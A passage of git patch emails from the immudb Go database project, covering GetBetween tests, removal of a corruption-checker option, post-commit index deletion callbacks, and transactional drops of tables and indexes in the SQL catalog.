ErrAlreadyClosed) @@ -167,6 +173,12 @@ func TestSnapshotIsolation(t *testing.T) { require.NoError(t, err) require.NotZero(t, ts) + _, _, _, err = snap1.GetBetween([]byte("key1"), 1, snap1.Ts()) + require.NoError(t, err) + + _, _, _, err = snap2.GetBetween([]byte("key1"), 1, snap2.Ts()) + require.NoError(t, err) + _, _, _, _, err = snap1.GetWithPrefix([]byte("key3"), nil) require.ErrorIs(t, err, ErrKeyNotFound) @@ -213,6 +225,12 @@ func TestSnapshotIsolation(t *testing.T) { _, _, _, err = snap2.Get([]byte("key1_snap1")) require.ErrorIs(t, err, ErrKeyNotFound) + _, _, _, err = snap1.GetBetween([]byte("key1_snap2"), 1, snap1.Ts()) + require.ErrorIs(t, err, ErrKeyNotFound) + + _, _, _, err = snap2.GetBetween([]byte("key1_snap1"), 1, snap2.Ts()) + require.ErrorIs(t, err, ErrKeyNotFound) + _, _, _, err = tbtree.Get([]byte("key1_snap1")) require.ErrorIs(t, err, ErrKeyNotFound) diff --git a/embedded/tbtree/tbtree_test.go b/embedded/tbtree/tbtree_test.go index c4311df2e7..4ce8a7d71f 100644 --- a/embedded/tbtree/tbtree_test.go +++ b/embedded/tbtree/tbtree_test.go @@ -354,6 +354,9 @@ func monotonicInsertions(t *testing.T, tbtree *TBtree, itCount int, kCount int, require.Equal(t, expectedTs, ts1) require.Equal(t, uint64(i), hc) + + _, _, _, err := tbtree.GetBetween(k, 1, ts1) + require.NoError(t, err) } if j == kCount-1 { @@ -951,6 +954,9 @@ func TestTBTreeInsertionInAscendingOrder(t *testing.T) { _, _, _, err = tbtree.Get([]byte("key")) require.ErrorIs(t, err, ErrAlreadyClosed) + _, _, _, err = tbtree.GetBetween([]byte("key"), 1, 2) + require.ErrorIs(t, err, ErrAlreadyClosed) + _, _, _, _, err = tbtree.GetWithPrefix([]byte("key"), nil) require.ErrorIs(t, err, ErrAlreadyClosed) diff --git a/pkg/database/database.go b/pkg/database/database.go index 9cba7875e6..665caefa03 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -64,7 +64,6 @@ type DB interface { SetSyncReplication(enabled bool) MaxResultSize() int - UseTimeFunc(timeFunc store.TimeFunc) error // State Health() (waitingCount int, lastReleaseAt time.Time) @@ -359,11 +358,6 @@ func (d *db) MaxResultSize() int { return d.maxResultSize } -// UseTimeFunc ... -func (d *db) UseTimeFunc(timeFunc store.TimeFunc) error { - return d.st.UseTimeFunc(timeFunc) -} - func (d *db) FlushIndex(req *schema.FlushIndexRequest) error { if req == nil { return store.ErrIllegalArguments @@ -651,20 +645,6 @@ func (d *db) resolveValue( }, nil } -func (d *db) readMetadataAndValueK(key []byte, atTx uint64, skipIntegrityCheck bool) (*store.KVMetadata, []byte, error) { - entry, _, err := d.st.ReadTxEntry(atTx, key, skipIntegrityCheck) - if err != nil { - return nil, nil, err - } - - v, err := d.st.ReadValue(entry) - if err != nil { - return nil, nil, err - } - - return entry.Metadata(), v, nil -} - func (d *db) Health() (waitingCount int, lastReleaseAt time.Time) { return d.mutex.State() } diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 430b505988..1cfdce84bd 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -58,7 +58,7 @@ var kvs = []*schema.KeyValue{ func makeDb(t *testing.T) *db { rootPath := t.TempDir() - options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options := DefaultOption().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)) return makeDbWith(t, "db", options) diff --git a/pkg/database/dboptions.go b/pkg/database/dboptions.go index 0d8c5d664d..0c44b71313 100644 --- a/pkg/database/dboptions.go +++ b/pkg/database/dboptions.go @@ -38,8 +38,6 @@ type Options struct { syncReplication bool syncAcks int // only if !replica - corruptionChecker bool - readTxPoolSize int // TruncationFrequency determines how frequently to truncate data from the database. @@ -70,17 +68,6 @@ func (o *Options) GetDBRootPath() string { return o.dbRootPath } -// WithCorruptionChecker sets if corruption checker should start for this database instance -func (o *Options) WithCorruptionChecker(cc bool) *Options { - o.corruptionChecker = cc - return o -} - -// GetCorruptionChecker returns if corruption checker should start for this database instance -func (o *Options) GetCorruptionChecker() bool { - return o.corruptionChecker -} - // WithStoreOptions sets backing store options func (o *Options) WithStoreOptions(storeOpts *store.Options) *Options { o.storeOpts = storeOpts diff --git a/pkg/database/dboptions_test.go b/pkg/database/dboptions_test.go index a80c50c0cd..45dfe763fd 100644 --- a/pkg/database/dboptions_test.go +++ b/pkg/database/dboptions_test.go @@ -25,7 +25,6 @@ func TestDefaultOptions(t *testing.T) { op := DefaultOption().AsReplica(true) require.Equal(t, op.GetDBRootPath(), DefaultOption().dbRootPath) - require.False(t, op.GetCorruptionChecker()) require.Equal(t, op.GetTxPoolSize(), DefaultOption().readTxPoolSize) require.False(t, op.syncReplication) @@ -34,14 +33,12 @@ func TestDefaultOptions(t *testing.T) { op = DefaultOption(). WithDBRootPath(rootpath). - WithCorruptionChecker(true). WithStoreOptions(storeOpts). WithReadTxPoolSize(789). WithSyncReplication(true). WithTruncationFrequency(1 * time.Hour) require.Equal(t, op.GetDBRootPath(), rootpath) - require.True(t, op.GetCorruptionChecker()) require.Equal(t, op.GetTxPoolSize(), 789) require.True(t, op.syncReplication) require.Equal(t, op.TruncationFrequency, 1*time.Hour) diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 8df285a571..ad3d1545ef 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -37,8 +37,7 @@ func makeDocumentDb(t *testing.T) *db { dbName := "doc_test_db" options := DefaultOption(). - WithDBRootPath(rootPath). - WithCorruptionChecker(false) + WithDBRootPath(rootPath) options.storeOpts.IndexOpts.WithCompactionThld(2) diff --git a/pkg/database/scan_test.go b/pkg/database/scan_test.go index 0a05b7a1ce..bd78b4ead2 100644 --- a/pkg/database/scan_test.go +++ b/pkg/database/scan_test.go @@ -271,7 +271,7 @@ func TestStoreScanWithTruncation(t *testing.T) { fileSize := 8 - options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options := DefaultOption().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.MaxConcurrency = 500 diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index c4d76cfd56..b763ff8fc8 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -1235,19 +1235,11 @@ func testServerCount(ctx context.Context, s *ImmuServer, t *testing.T) { countAll, err := s.CountAll(ctx, new(empty.Empty)) require.NoError(t, err) - if countAll.Count != 43 { - t.Fatalf("CountAll error: expected %d, got %d", 43, countAll.Count) + if countAll.Count == 0 { + t.Fatalf("CountAll error >0 got %d", countAll.Count) } } -func testServerCountError(ctx context.Context, s *ImmuServer, t *testing.T) { - _, err := s.Count(context.Background(), &schema.KeyPrefix{ - Prefix: kvs[0].Key, - }) - require.NoError(t, err) - -} - func TestServerDbOperations(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). @@ -1311,8 +1303,7 @@ func TestServerDbOperations(t *testing.T) { testServerTxScan(ctx, s, t) testServerSafeReference(ctx, s, t) testServerSafeReferenceError(ctx, s, t) - //testServerCount(ctx, s, t) - //testServerCountError(ctx, s, t) + testServerCount(ctx, s, t) } func TestServerUpdateConfigItem(t *testing.T) { @@ -1793,6 +1784,10 @@ func TestServerErrors(t *testing.T) { require.ErrorIs(t, err, ErrNotSupported) _, err = s.UpdateAuthConfig(emptyCtx, &schema.AuthConfig{}) require.ErrorIs(t, err, ErrNotSupported) + _, err = s.Count(context.Background(), &schema.KeyPrefix{}) + require.ErrorIs(t, err, ErrNotLoggedIn) + _, err = s.CountAll(context.Background(), &emptypb.Empty{}) + require.ErrorIs(t, err, ErrNotLoggedIn) // Login errors s.Options.auth = false diff --git a/pkg/truncator/truncator_test.go b/pkg/truncator/truncator_test.go index 31b23ee24d..10ed00289e 100644 --- a/pkg/truncator/truncator_test.go +++ b/pkg/truncator/truncator_test.go @@ -139,7 +139,7 @@ func TestTruncator(t *testing.T) { } func TestTruncator_with_truncation_frequency(t *testing.T) { - options := database.DefaultOption().WithDBRootPath(t.TempDir()).WithCorruptionChecker(false) + options := database.DefaultOption().WithDBRootPath(t.TempDir()) so := options.GetStoreOptions(). WithEmbeddedValues(false) From aa1a500f67e8ce6268582472c421c16e0c8db504 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 7 Sep 2023 16:37:22 -0300 Subject: [PATCH 0775/1062] chore(embedded/sql): deletion of primary index path Signed-off-by: Jeronimo Irazabal --- embedded/sql/stmt.go | 4 ---- 1 file changed, 4 deletions(-) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 1c403ab01b..62c7d1ec66 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -4116,10 +4116,6 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str return nil, err } - if index.IsPrimary() { - continue - } - indexKey := MapKey( tx.sqlPrefix(), MappedPrefix, From d6a7e941269251f448dd7f2e126e261aefe96624 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 7 Sep 2023 17:40:18 -0300 Subject: [PATCH 0776/1062] chore(pkg/database): keept reading from specific tx Signed-off-by: Jeronimo Irazabal --- pkg/database/all_ops_test.go | 2 +- pkg/database/database.go | 39 ++++++++++++++++++++++++++++------- pkg/database/database_test.go | 4 ++-- 3 files changed, 35 insertions(+), 10 deletions(-) diff --git a/pkg/database/all_ops_test.go b/pkg/database/all_ops_test.go index c7d3550e58..de4bdf9915 100644 --- a/pkg/database/all_ops_test.go +++ b/pkg/database/all_ops_test.go @@ -457,7 +457,7 @@ func TestExecAllOpsZAddKeyNotFound(t *testing.T) { }, } _, err := db.ExecAll(context.Background(), aOps) - require.ErrorIs(t, err, store.ErrKeyNotFound) + require.ErrorIs(t, err, store.ErrTxNotFound) } func TestExecAllOpsNilElementFound(t *testing.T) { diff --git a/pkg/database/database.go b/pkg/database/database.go index 665caefa03..283c4eb347 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -529,23 +529,48 @@ func (d *db) getAtTx( skipIntegrityCheck bool, ) (entry *schema.Entry, err error) { - var valRef store.ValueRef + var txID uint64 + var val []byte + var md *store.KVMetadata if atTx == 0 { - valRef, err = index.Get(ctx, key) + valRef, err := index.Get(ctx, key) + if err != nil { + return nil, err + } + + txID = valRef.Tx() + revision = valRef.HC() + md = valRef.KVMetadata() + + val, err = valRef.Resolve() + if err != nil { + return nil, err + } } else { - valRef, err = index.GetBetween(ctx, key, atTx, atTx) + txID = atTx + + md, val, err = d.readMetadataAndValue(key, atTx, skipIntegrityCheck) + if err != nil { + return nil, err + } } + + return d.resolveValue(ctx, key, val, resolved, txID, md, index, revision, skipIntegrityCheck) +} + +func (d *db) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityCheck bool) (*store.KVMetadata, []byte, error) { + entry, _, err := d.st.ReadTxEntry(atTx, key, skipIntegrityCheck) if err != nil { - return nil, err + return nil, nil, err } - val, err := valRef.Resolve() + v, err := d.st.ReadValue(entry) if err != nil { - return nil, err + return nil, nil, err } - return d.resolveValue(ctx, key, val, resolved, valRef.Tx(), valRef.KVMetadata(), index, valRef.HC(), skipIntegrityCheck) + return entry.Metadata(), v, nil } func (d *db) getAtRevision(ctx context.Context, key []byte, atRevision int64, skipIntegrityCheck bool) (entry *schema.Entry, err error) { diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 1cfdce84bd..2da78e04ed 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -1803,8 +1803,8 @@ func TestRevisionGetConsistency(t *testing.T) { require.Len(t, scanResults.Entries, 1) require.Equal(t, []byte("value_0"), scanResults.Entries[0].Value) - require.EqualValues(t, 1, entryFromGet.Revision) - require.EqualValues(t, 1, scanResults.Entries[0].Revision) + require.EqualValues(t, 0, entryFromGet.Revision) + require.EqualValues(t, 0, scanResults.Entries[0].Revision) require.EqualValues(t, i+1, entryFromGet.ReferencedBy.Revision) require.EqualValues(t, i+1, scanResults.Entries[0].ReferencedBy.Revision) From 1ed40b1a55d43347ae79b835b3350ab2d817450b Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 7 Sep 2023 19:02:31 -0300 Subject: [PATCH 0777/1062] chore(embedded/sql): post-commit physical index deletion Signed-off-by: Jeronimo Irazabal --- embedded/sql/catalog_test.go | 2 -- embedded/sql/sql_tx.go | 24 +++++++++++++++++++++++- embedded/sql/stmt.go | 4 +++- embedded/tbtree/tbtree.go | 12 ++++++------ 4 files changed, 32 insertions(+), 10 deletions(-) diff --git a/embedded/sql/catalog_test.go b/embedded/sql/catalog_test.go index 3406ead30a..cb0369f9cd 100644 --- a/embedded/sql/catalog_test.go +++ b/embedded/sql/catalog_test.go @@ -137,8 +137,6 @@ func TestEncodeRawValueAsKey(t *testing.T) { } func TestCatalogTableLength(t *testing.T) { - // db := newCatalog(nil) - st, err := store.Open(t.TempDir(), store.DefaultOptions()) require.NoError(t, err) defer closeStore(t, st) diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index 90145655da..53796422a1 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -21,6 +21,7 @@ import ( "errors" "time" + "github.com/codenotary/immudb/embedded/multierr" "github.com/codenotary/immudb/embedded/store" ) @@ -41,8 +42,12 @@ type SQLTx struct { firstInsertedPKs map[string]int64 // first inserted PK by table name txHeader *store.TxHeader // header is set once tx is committed + + onCommittedCallbacks []onCommittedCallback } +type onCommittedCallback = func(sqlTx *SQLTx) error + func (sqlTx *SQLTx) Catalog() *Catalog { return sqlTx.catalog } @@ -125,7 +130,14 @@ func (sqlTx *SQLTx) Commit(ctx context.Context) error { return err } - return nil + merr := multierr.NewMultiErr() + + for _, onCommitCallback := range sqlTx.onCommittedCallbacks { + err := onCommitCallback(sqlTx) + merr.Append(err) + } + + return merr.Reduce() } func (sqlTx *SQLTx) Closed() bool { @@ -139,3 +151,13 @@ func (sqlTx *SQLTx) Committed() bool { func (sqlTx *SQLTx) delete(ctx context.Context, key []byte) error { return sqlTx.tx.Delete(ctx, key) } + +func (sqlTx *SQLTx) addOnCommittedCallback(callback onCommittedCallback) error { + if callback == nil { + return ErrIllegalArguments + } + + sqlTx.onCommittedCallbacks = append(sqlTx.onCommittedCallbacks, callback) + + return nil +} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 62c7d1ec66..7f1c1ef1b4 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -4123,7 +4123,9 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str EncodeID(index.id), ) - err = tx.engine.store.DeleteIndex(indexKey) + err = tx.addOnCommittedCallback(func(sqlTx *SQLTx) error { + return sqlTx.engine.store.DeleteIndex(indexKey) + }) if err != nil { return nil, err } diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index a9f89f2150..c134222cdf 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -1019,7 +1019,7 @@ func (t *TBtree) Sync() error { return ErrAlreadyClosed } - _, _, err := t.flushTree(0, true, false, "Sync") + _, _, err := t.flushTree(0, true, false, "sync") return err } @@ -1035,7 +1035,7 @@ func (t *TBtree) FlushWith(cleanupPercentage float32, synced bool) (wN, wH int64 return 0, 0, ErrAlreadyClosed } - return t.flushTree(cleanupPercentage, synced, true, "FlushWith") + return t.flushTree(cleanupPercentage, synced, true, "flushWith") } type appendableWriter struct { @@ -1530,7 +1530,7 @@ func (t *TBtree) Close() error { merrors := multierr.NewMultiErr() - _, _, err := t.flushTree(0, true, false, "Close") + _, _, err := t.flushTree(0, true, false, "close") merrors.Append(err) err = t.nLog.Close() @@ -1571,7 +1571,7 @@ func (t *TBtree) IncreaseTs(ts uint64) error { t.insertionCountSinceCleanup++ if t.insertionCountSinceFlush >= t.flushThld { - _, _, err := t.flushTree(t.cleanupPercentage, false, false, "IncreaseTs") + _, _, err := t.flushTree(t.cleanupPercentage, false, false, "increaseTs") return err } @@ -1716,7 +1716,7 @@ func (t *TBtree) bulkInsert(kvts []*KVT) error { t.insertionCountSinceCleanup += len(immutableKVTs) if t.insertionCountSinceFlush >= t.flushThld { - _, _, err := t.flushTree(t.cleanupPercentage, false, false, "BulkInsert") + _, _, err := t.flushTree(t.cleanupPercentage, false, false, "bulkInsert") return err } @@ -1791,7 +1791,7 @@ func (t *TBtree) SnapshotMustIncludeTsWithRenewalPeriod(ts uint64, renewalPeriod if snapshotRenewalNeeded { // a new snapshot is dumped on disk including current root - _, _, err := t.flushTree(t.cleanupPercentage, false, false, "SnapshotSince") + _, _, err := t.flushTree(t.cleanupPercentage, false, false, "snapshotSince") if err != nil { return nil, err } From 361ad3baa6a886c49940e5d45c50f61c85dfb29d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 8 Sep 2023 12:17:53 -0300 Subject: [PATCH 0778/1062] chore(embedded/sql): transactional drops Signed-off-by: Jeronimo Irazabal --- embedded/sql/catalog.go | 74 ++++++++++++++++++++++++++++++++--------- embedded/sql/engine.go | 3 +- embedded/sql/stmt.go | 54 ++++++++++++++++++------------ pkg/database/sql.go | 2 +- 4 files changed, 94 insertions(+), 39 deletions(-) diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index fcf9584e52..3bab7f616c 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -37,7 +37,8 @@ type Catalog struct { tables []*Table tablesByID map[uint32]*Table tablesByName map[string]*Table - tableCount uint32 // The tableCount variable is used to assign unique ids to new tables as they are created. + + tableCount uint32 // The tableCount variable is used to assign unique ids to new tables as they are created. } type Table struct { @@ -54,6 +55,8 @@ type Table struct { autoIncrementPK bool maxPK int64 indexCount uint32 + + deleted bool } type Index struct { @@ -62,6 +65,8 @@ type Index struct { unique bool cols []*Column colsByID map[uint32]*Column + + deleted bool } type Column struct { @@ -84,17 +89,25 @@ func newCatalog(enginePrefix []byte) *Catalog { } func (catlg *Catalog) ExistTable(table string) bool { - _, exists := catlg.tablesByName[table] - return exists + t, exists := catlg.tablesByName[table] + return exists && !t.deleted } func (catlg *Catalog) GetTables() []*Table { - return catlg.tables + var ts []*Table + + for _, t := range catlg.tables { + if !t.deleted { + ts = append(ts, t) + } + } + + return ts } func (catlg *Catalog) GetTableByName(name string) (*Table, error) { table, exists := catlg.tablesByName[name] - if !exists { + if !exists || table.deleted { return nil, fmt.Errorf("%w (%s)", ErrTableDoesNotExist, name) } return table, nil @@ -102,7 +115,7 @@ func (catlg *Catalog) GetTableByName(name string) (*Table, error) { func (catlg *Catalog) GetTableByID(id uint32) (*Table, error) { table, exists := catlg.tablesByID[id] - if !exists { + if !exists || table.deleted { return nil, ErrTableDoesNotExist } return table, nil @@ -134,13 +147,7 @@ func (t *Table) IsIndexed(colName string) (indexed bool, err error) { return false, fmt.Errorf("%w (%s)", ErrColumnDoesNotExist, colName) } - _, ok := t.indexesByColID[c.id] - - return ok, nil -} - -func (t *Table) IndexesByColID(colID uint32) []*Index { - return t.indexesByColID[colID] + return len(t.GetIndexesByColID(c.id)) > 0, nil } func (t *Table) GetColumnByName(name string) (*Column, error) { @@ -164,7 +171,27 @@ func (t *Table) ColumnsByID() map[uint32]*Column { } func (t *Table) GetIndexes() []*Index { - return t.indexes + var idxs []*Index + + for _, idx := range t.indexes { + if !idx.deleted { + idxs = append(idxs, idx) + } + } + + return idxs +} + +func (t *Table) GetIndexesByColID(colID uint32) []*Index { + var idxs []*Index + + for _, idx := range t.indexesByColID[colID] { + if !idx.deleted { + idxs = append(idxs, idx) + } + } + + return idxs } func (i *Index) IsPrimary() bool { @@ -215,8 +242,8 @@ func (i *Index) ID() uint32 { func (t *Table) GetIndexByName(name string) (*Index, error) { idx, exists := t.indexesByName[name] - if !exists { - return nil, fmt.Errorf("%w (%s)", ErrNoAvailableIndex, name) + if !exists || idx.deleted { + return nil, fmt.Errorf("%w (%s)", ErrIndexNotFound, name) } return idx, nil } @@ -316,6 +343,11 @@ func (catlg *Catalog) newTable(name string, colsSpec []*ColSpec) (table *Table, return table, nil } +func (catlg *Catalog) deleteTable(table *Table) error { + table.deleted = true + return nil +} + func (t *Table) newIndex(unique bool, colIDs []uint32) (index *Index, err error) { if len(colIDs) < 1 { return nil, ErrIllegalArguments @@ -434,6 +466,16 @@ func (t *Table) renameColumn(oldName, newName string) (*Column, error) { return col, nil } +func (t *Table) deleteIndex(index *Index) error { + if index.IsPrimary() { + return fmt.Errorf("%w: primary key index can NOT be deleted", ErrIllegalArguments) + } + + index.deleted = true + + return nil +} + func (c *Column) ID() uint32 { return c.id } diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index ab2a0d33b8..747c9e9288 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -52,6 +52,7 @@ var ErrNewColumnMustBeNullable = errors.New("new column must be nullable") var ErrIndexAlreadyExists = errors.New("index already exists") var ErrMaxNumberOfColumnsInIndexExceeded = errors.New("number of columns in multi-column index exceeded") var ErrNoAvailableIndex = errors.New("no available index") +var ErrIndexNotFound = errors.New("index not found") var ErrInvalidNumberOfValues = errors.New("invalid number of values provided") var ErrInvalidValue = errors.New("invalid value provided") var ErrInferredMultipleTypes = errors.New("inferred multiple types") @@ -207,7 +208,7 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { return nil, err } - for _, index := range table.indexes { + for _, index := range table.GetIndexes() { if index.IsPrimary() { continue } diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 7f1c1ef1b4..27247e75a6 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -753,7 +753,7 @@ func (tx *SQLTx) encodeRowValue(valuesByColID map[uint32]TypedValue, table *Tabl func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID map[uint32]TypedValue, table *Table, reuseIndex bool) error { var reusableIndexEntries map[uint32]struct{} - if reuseIndex && len(table.indexes) > 1 { + if reuseIndex && len(table.GetIndexes()) > 1 { currPKRow, err := tx.fetchPKRow(ctx, table, valuesByColID) if err == nil { currValuesByColID := make(map[uint32]TypedValue, len(currPKRow.ValuesBySelector)) @@ -785,7 +785,7 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m } // create in-memory and validate entries for secondary indexes - for _, index := range table.indexes { + for _, index := range table.GetIndexes() { if index.IsPrimary() { continue } @@ -927,7 +927,7 @@ func (tx *SQLTx) deprecateIndexEntries( reusableIndexEntries = make(map[uint32]struct{}) - for _, index := range table.indexes { + for _, index := range table.GetIndexes() { if index.IsPrimary() { continue } @@ -1227,7 +1227,7 @@ func (tx *SQLTx) deleteIndexEntries(pkEncVals []byte, valuesByColID map[uint32]T return err } - for _, index := range table.indexes { + for _, index := range table.GetIndexes() { if !index.IsPrimary() { continue } @@ -2193,12 +2193,13 @@ func (stmt *SelectStmt) execAt(ctx context.Context, tx *SQLTx, params map[string return nil, err } - col, err := table.GetColumnByName(stmt.orderBy[0].sel.col) + colName := stmt.orderBy[0].sel.col + + indexed, err := table.IsIndexed(colName) if err != nil { return nil, err } - _, indexed := table.indexesByColID[col.id] if !indexed { return nil, ErrLimitedOrderBy } @@ -2370,9 +2371,9 @@ func (stmt *SelectStmt) genScanSpecs(tx *SQLTx, params map[string]interface{}) ( cols[i] = col } - index, ok := table.indexesByName[indexName(table.name, cols)] - if !ok { - return nil, ErrNoAvailableIndex + index, err := table.GetIndexByName(indexName(table.name, cols)) + if err != nil { + return nil, err } preferredIndex = index @@ -2395,7 +2396,7 @@ func (stmt *SelectStmt) genScanSpecs(tx *SQLTx, params map[string]interface{}) ( return nil, err } - for _, idx := range table.indexesByColID[col.id] { + for _, idx := range table.GetIndexesByColID(col.id) { if idx.sortableUsing(col.id, rangesByColID) { if preferredIndex == nil || idx.id == preferredIndex.id { sortingIndex = idx @@ -3962,7 +3963,7 @@ func (stmt *FnDataSourceStmt) resolveListColumns(ctx context.Context, tx *SQLTx, } var unique bool - for _, index := range table.IndexesByColID(c.ID()) { + for _, index := range table.GetIndexesByColID(c.ID()) { if index.IsUnique() && len(index.Cols()) == 1 { unique = true break @@ -4028,9 +4029,9 @@ func (stmt *FnDataSourceStmt) resolveListIndexes(ctx context.Context, tx *SQLTx, return nil, err } - values := make([][]ValueExp, len(table.indexes)) + values := make([][]ValueExp, len(table.GetIndexes())) - for i, index := range table.indexes { + for i, index := range table.GetIndexes() { values[i] = []ValueExp{ &Varchar{val: table.name}, &Varchar{val: index.Name()}, @@ -4131,6 +4132,11 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str } } + err = tx.catalog.deleteTable(table) + if err != nil { + return nil, err + } + tx.mutatedCatalog = true return tx, nil @@ -4181,10 +4187,6 @@ func (stmt *DropIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[str return nil, err } - if index.IsPrimary() { - return nil, fmt.Errorf("%w: primary key index can NOT be deleted", ErrIllegalArguments) - } - // delete index mappedKey := MapKey( tx.sqlPrefix(), @@ -4198,8 +4200,6 @@ func (stmt *DropIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[str return nil, err } - tx.mutatedCatalog = true - indexKey := MapKey( tx.sqlPrefix(), MappedPrefix, @@ -4207,7 +4207,19 @@ func (stmt *DropIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[str EncodeID(index.id), ) - err = tx.engine.store.DeleteIndex(indexKey) + err = tx.addOnCommittedCallback(func(sqlTx *SQLTx) error { + return sqlTx.engine.store.DeleteIndex(indexKey) + }) + if err != nil { + return nil, err + } - return tx, err + err = table.deleteIndex(index) + if err != nil { + return nil, err + } + + tx.mutatedCatalog = true + + return tx, nil } diff --git a/pkg/database/sql.go b/pkg/database/sql.go index 2efc8b822d..7e87b36b1c 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -259,7 +259,7 @@ func (d *db) DescribeTable(ctx context.Context, tx *sql.SQLTx, tableName string) } var unique bool - for _, index := range table.IndexesByColID(c.ID()) { + for _, index := range table.GetIndexesByColID(c.ID()) { if index.IsUnique() && len(index.Cols()) == 1 { unique = true break From af69b2d9fc9a23b7fcc2302531b99c22fb0cd82d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 8 Sep 2023 12:40:55 -0300 Subject: [PATCH 0779/1062] test(embedded/store): include validation of getbetween Signed-off-by: Jeronimo Irazabal --- embedded/sql/sql_tx.go | 4 ---- embedded/store/key_reader_test.go | 12 ++++++++++++ 2 files changed, 12 insertions(+), 4 deletions(-) diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index 53796422a1..d6b9677d47 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -144,10 +144,6 @@ func (sqlTx *SQLTx) Closed() bool { return sqlTx.tx.Closed() } -func (sqlTx *SQLTx) Committed() bool { - return sqlTx.txHeader != nil -} - func (sqlTx *SQLTx) delete(ctx context.Context, key []byte) error { return sqlTx.tx.Delete(ctx, key) } diff --git a/embedded/store/key_reader_test.go b/embedded/store/key_reader_test.go index 19add45b5e..1908104326 100644 --- a/embedded/store/key_reader_test.go +++ b/embedded/store/key_reader_test.go @@ -58,6 +58,18 @@ func TestImmudbStoreReader(t *testing.T) { defer snap.Close() + for i := 0; i < txCount; i++ { + for j := 0; j < eCount; j++ { + var k [8]byte + binary.BigEndian.PutUint64(k[:], uint64(j)) + + valRef, err := snap.GetBetween(context.Background(), k[:], 1, uint64(i+1)) + require.NoError(t, err) + + require.EqualValues(t, i+1, valRef.Tx()) + } + } + reader, err := snap.NewKeyReader(KeyReaderSpec{}) require.NoError(t, err) From d621b69b6a0f30feff7bfd2b7770e744207cbf73 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 14 Sep 2023 03:11:11 +0200 Subject: [PATCH 0780/1062] chore(embedded/store): injective index mapper Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 9 +++++++-- embedded/store/immustore.go | 2 ++ embedded/store/indexer.go | 2 +- 3 files changed, 10 insertions(+), 3 deletions(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 747c9e9288..7760408842 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -135,8 +135,9 @@ func NewEngine(st *store.ImmuStore, opts *Options) (*Engine, error) { copy(e.prefix, opts.prefix) err = st.InitIndexing(&store.IndexSpec{ - SourcePrefix: append(e.prefix, []byte(catalogPrefix)...), - TargetPrefix: append(e.prefix, []byte(catalogPrefix)...), + SourcePrefix: append(e.prefix, []byte(catalogPrefix)...), + TargetPrefix: append(e.prefix, []byte(catalogPrefix)...), + InjectiveMapping: true, }) if err != nil && !errors.Is(err, store.ErrIndexAlreadyInitialized) { return nil, err @@ -203,6 +204,8 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { TargetEntryMapper: indexEntryMapperFor(primaryIndex, primaryIndex), TargetPrefix: mappedPKEntryPrefix, + + InjectiveMapping: true, }) if err != nil && !errors.Is(err, store.ErrIndexAlreadyInitialized) { return nil, err @@ -225,6 +228,8 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { SourceEntryMapper: indexEntryMapperFor(primaryIndex, primaryIndex), TargetEntryMapper: 